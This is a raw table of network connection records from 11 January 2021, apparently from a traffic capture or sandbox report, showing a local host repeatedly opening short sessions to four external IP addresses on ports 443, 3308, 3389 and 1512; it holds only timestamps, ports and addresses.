Jan 11, 2021 20:47:58.070300102 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.070432901 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.071995974 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.124114990 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.141264915 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.141382933 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.158654928 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.213134050 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.213257074 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.225194931 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.225745916 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.277821064 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.277971029 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.315274000 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.330107927 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.330203056 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.448220015 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.448267937 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.448415995 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.453855991 CET	49195	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:58.505989075 CET	443	49195	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:58.564455032 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.607724905 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.607878923 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.609401941 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.652510881 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.663541079 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.663559914 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.663669109 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.680577040 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.725564003 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.725652933 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.736011028 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.736337900 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.779490948 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.779774904 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.818962097 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.822890997 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.822909117 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.936604977 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.936625957 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:58.936918974 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:58.985780001 CET	49196	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:59.029078960 CET	3308	49196	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:59.095717907 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.149887085 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.149987936 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.151299953 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.205312014 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.236712933 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.236769915 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.236803055 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.236850023 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.249783039 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.310446978 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.310647011 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.320693016 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.320898056 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.375207901 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.375312090 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.414433956 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.429352999 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.429641962 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.521857977 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.521903992 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.522083044 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.522145987 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.578186035 CET	49197	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:59.632478952 CET	3389	49197	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:59.687510967 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.740946054 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:59.741053104 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.742613077 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.795736074 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:59.802712917 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:59.802736998 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:59.802773952 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.802793980 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.809828043 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.864243984 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:59.864326000 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.894438982 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.894588947 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.947782040 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:59.948036909 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:59.987615108 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:00.001313925 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:00.105638981 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:00.105684996 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:00.105730057 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:00.105772972 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:00.107716084 CET	49198	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:00.160985947 CET	1512	49198	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:01.341047049 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.393639088 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.393726110 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.394751072 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.447026968 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.461744070 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.461848021 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.478492975 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.533371925 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.533679962 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.543857098 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.544154882 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.596421957 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.596745014 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.635379076 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.649224997 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.649266958 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.767822981 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.767870903 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.768205881 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.774219990 CET	49199	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:01.826802969 CET	443	49199	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:01.887686968 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:01.931194067 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:01.931457043 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:01.932933092 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:01.975961924 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:01.990394115 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:01.990443945 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:01.990614891 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:02.005920887 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:02.050820112 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:02.051080942 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:02.060472965 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:02.060671091 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:02.103827953 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:02.104120970 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:02.143126965 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:02.147371054 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:02.147402048 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:02.260147095 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:02.260189056 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:02.260339022 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:02.265985012 CET	49200	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:02.309881926 CET	3308	49200	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:02.402281046 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.455786943 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.455977917 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.457606077 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.516068935 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.572458982 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.572504997 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.572815895 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.586982012 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.640305042 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.654874086 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.655076981 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.664541006 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.664637089 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.718379021 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.718751907 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.758120060 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.772382021 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.772427082 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.866821051 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.866887093 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.867091894 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.872534037 CET	49201	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:02.926145077 CET	3389	49201	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:02.995033979 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.048094988 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.048305035 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.049781084 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.102644920 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.109555960 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.109580994 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.109678984 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.124392033 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.178307056 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.178567886 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.187681913 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.187859058 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.240655899 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.240933895 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.279545069 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.293648005 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.293668032 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.391594887 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.391616106 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.391661882 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.391691923 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.393743038 CET	49202	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:03.446681976 CET	1512	49202	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:03.505083084 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.557526112 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:03.557641029 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.558283091 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.610644102 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:03.625437021 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:03.625545025 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.634170055 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.688843012 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:03.689110994 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.710910082 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.711148977 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.763463974 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:03.763776064 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.803417921 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:03.816134930 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:03.933942080 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:03.934298038 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.934983015 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:03.935085058 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.940265894 CET	49203	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:03.992713928 CET	443	49203	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:04.055458069 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.098989010 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.099160910 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.100675106 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.146378040 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.154356003 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.154402971 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.154536009 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.154583931 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.169251919 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.217240095 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.217508078 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.228384018 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.228712082 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.272041082 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.272408962 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.312021017 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.315911055 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.315946102 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.428606033 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.428670883 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.428750992 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.428800106 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.434453964 CET	49204	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:04.477634907 CET	3308	49204	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:04.555490017 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.609602928 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.609729052 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.611404896 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.665478945 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.694272995 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.694344044 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.694407940 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.694448948 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.707612991 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.768990040 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.769268036 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.778408051 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.778588057 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.832909107 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.833177090 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.872487068 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.887290955 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.887310028 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.977142096 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.977164030 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:04.977416039 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.977448940 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:04.983124971 CET	49205	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:05.037333012 CET	3389	49205	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:05.101856947 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.154937983 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.155031919 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.156546116 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.209584951 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.216437101 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.216454983 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.216540098 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.232315063 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.286988020 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.287300110 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.297940016 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.298291922 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.351527929 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.351872921 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.387630939 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.405200005 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.504733086 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.504784107 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.504986048 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.508909941 CET	49206	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:05.562041044 CET	1512	49206	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:05.615578890 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:05.667855024 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:05.667958975 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:05.668971062 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:05.720973969 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:05.735889912 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:05.735985994 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:05.744405031 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:05.798973083 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:05.799048901 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:05.802820921 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:05.802961111 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:05.854948997 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:05.855037928 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:05.891391039 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:05.907279968 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:05.907344103 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:06.024422884 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:06.024466038 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:06.024841070 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:06.030827045 CET	49207	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:06.083285093 CET	443	49207	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:06.146915913 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.190421104 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.190555096 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.192168951 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.235292912 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.250458002 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.250500917 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.250689983 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.267673016 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.312777996 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.313122034 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.322722912 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.323092937 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.366244078 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.366446018 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.406328917 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.409653902 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.409696102 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.521662951 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.521718025 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.522044897 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.527793884 CET	49208	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:06.570981979 CET	3308	49208	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:06.645858049 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:06.699561119 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:06.699670076 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:06.701092958 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:06.754575968 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:06.773072958 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:06.773128986 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:06.773178101 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:06.773216009 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:06.785223007 CET	49209	3389	192.168.2.22	5.100.228.233
